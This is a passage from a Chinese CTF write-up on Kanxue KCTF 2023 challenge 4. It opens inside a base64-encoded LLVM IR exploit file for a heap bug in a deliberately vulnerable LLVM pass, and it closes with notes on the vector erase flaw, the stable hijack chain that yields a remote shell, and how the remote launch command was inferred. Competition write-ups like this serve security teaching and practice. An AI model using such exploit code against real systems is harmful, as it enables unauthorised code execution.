MzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91
bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAw
KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNh
bGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9p
ZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3Jl
YXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShp
MzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBkZWxldGUoaTMyIG5v
dW5kZWYgOCkKICBjYWxsIHZvaWQgQHJlbWFrZShpMzIgbm91bmRlZiAxMSwgaTMyIG5vdW5kZWYg
MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCAoLi4uKSBAcmV0KCkKICBjYWxsIHZvaWQg
QGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVh
dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYg
MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwg
aTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBu
b3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgOTYsIGkzMiBub3VuZGVm
IDEpCiAgY2FsbCB2b2lkICguLi4pIEBzd2FwKCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
bmRlZiA4MCwgaTMyIG5vdW5kZWYgMSkKICBjYWxsIHZvaWQgQHhvcihpMzIgbm91bmRlZiAwKQog
IGNhbGwgdm9pZCBAYWRkKGkzMiBub3VuZGVmIDY5Mjk2KQogIGNhbGwgdm9pZCBAeG9yKGkzMiBu
b3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRl
ZiAyKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDkpCiAgY2FsbCB2b2lkIEBjcmVh
dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGFuZChpMzIgbm91bmRl
ZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMikK
ICBjYWxsIHZvaWQgQGRlbGV0ZShpMzIgbm91bmRlZiAxMSkKICBjYWxsIHZvaWQgKC4uLikgQGVu
ZCgpCiAgcmV0IHZvaWQKfQoKZGVjbGFyZSB2b2lkIEBzd2FwKC4uLikgIzEKCmRlY2xhcmUgdm9p
ZCBAYW5kKGkzMiBub3VuZGVmKSAjMQoKYXR0cmlidXRlcyAjMCA9IHsgbm9pbmxpbmUgbm91bndp
bmQgb3B0bm9uZSB1d3RhYmxlICJmcmFtZS1wb2ludGVyIj0iYWxsIiAibWluLWxlZ2FsLXZlY3Rv
ci13aWR0aCI9IjAiICJuby10cmFwcGluZy1tYXRoIj0idHJ1ZSIgInN0YWNrLXByb3RlY3Rvci1i
dWZmZXItc2l6ZSI9IjgiICJ0YXJnZXQtY3B1Ij0ieDg2LTY0IiAidGFyZ2V0LWZlYXR1cmVzIj0i
K2N4OCwrZnhzciwrbW14LCtzc2UsK3NzZTIsK3g4NyIgInR1bmUtY3B1Ij0iZ2VuZXJpYyIgfQph
dHRyaWJ1dGVzICMxID0geyAiZnJhbWUtcG9pbnRlciI9ImFsbCIgIm5vLXRyYXBwaW5nLW1hdGgi
PSJ0cnVlIiAic3RhY2stcHJvdGVjdG9yLWJ1ZmZlci1zaXplIj0iOCIgInRhcmdldC1jcHUiPSJ4
ODYtNjQiICJ0YXJnZXQtZmVhdHVyZXMiPSIrY3g4LCtmeHNyLCttbXgsK3NzZSwrc3NlMiwreDg3
IiAidHVuZS1jcHUiPSJnZW5lcmljIiB9CgohbGx2bS5tb2R1bGUuZmxhZ3MgPSAheyEwLCAhMSwg
ITIsICEzLCAhNH0KIWxsdm0uaWRlbnQgPSAheyE1fQoKITAgPSAhe2kzMiAxLCAhIndjaGFyX3Np
emUiLCBpMzIgNH0KITEgPSAhe2kzMiA3LCAhIlBJQyBMZXZlbCIsIGkzMiAyfQohMiA9ICF7aTMy
IDcsICEiUElFIExldmVsIiwgaTMyIDJ9CiEzID0gIXtpMzIgNywgISJ1d3RhYmxlIiwgaTMyIDF9
CiE0ID0gIXtpMzIgNywgISJmcmFtZS1wb2ludGVyIiwgaTMyIDJ9CiE1ID0gIXshIlVidW50dSBj
bGFuZyB2ZXJzaW9uIDE0LjAuMC0xdWJ1bnR1MSJ9Cg==
END

最终,得到稳定的远程shell

看雪2023 KCTF年度赛 | 第四题设计思路及解析


后记


在比赛的过程中,被有的师傅吐槽没有给LLVM的启动命令呜呜呜,因为启动命令参数的不同会导致opt运行过程中的堆布局不同。有些师傅认为这是本地打通了但远程无法打通的原因,其实主要原因不在于此,而是在于正文中提到的内核因素影响了堆布局。

本题涉及的两个主要考察点分别是vectorerase中存在漏洞以及找到通用的劫持链以应对任意未知的远程环境。因此,正文中我给出的exp对于不同的启动命令以及不同的内核环境,都是稳定的。

此外,本题中虽然没给LLVM启动命令,但这是可以结合远程环境推断出来的。启动命令的参数还是比较固定的,不确定的就是文件路径以及是否添加了-f参数。

当按如下输入非法内容,产生报错的时候,可以根据报错信息得知文件存放在/home/ctf路径下。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

至于是否添加了-f参数,在本地测试一下就可以知道,若是没有加-f参数,会报一个WARNING,如下图所示。然而,远程环境是没有WARNING的,因此远程启动命令中存在-f参数。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

综上,容易推断出远程的启动命令为opt-14 -load /home/ctf/VecPass.so -winmt /home/ctf/exp.ll -enable-new-pm=0 -f。不过,即使知道了远程的启动命令,依然是一样需要去寻找到一条稳定的劫持链,毕竟我也不知道看雪远程服务器的内核版本是多少哈哈哈。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

看雪2023 KCTF年度赛 | 第四题设计思路及解析

今天中午12:00
第五题《争分夺秒》已开赛!

看雪2023 KCTF年度赛 | 第四题设计思路及解析

欢迎参赛

在这个充满变数的赛场上,没有人能够预料到最终的结局。有时,优势的领先可能只是一时的,一瞬间的失误就足以颠覆一切。而那些一直默默努力、不断突破自我的人,往往会在最后关头迎头赶上,成为最耀眼的存在。


谁能保持领先优势?谁能迎头赶上?谁又能突出重围成为黑马?




看雪2023 KCTF年度赛 | 第四题设计思路及解析


看雪2023 KCTF年度赛 | 第四题设计思路及解析

球分享

看雪2023 KCTF年度赛 | 第四题设计思路及解析

球点赞

看雪2023 KCTF年度赛 | 第四题设计思路及解析

球在看


看雪2023 KCTF年度赛 | 第四题设计思路及解析

点击阅读原文进入比赛

原文始发于微信公众号(看雪学苑):看雪2023 KCTF年度赛 | 第四题设计思路及解析

版权声明:admin 发表于 2023年9月11日 下午6:12。
转载请注明:看雪2023 KCTF年度赛 | 第四题设计思路及解析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...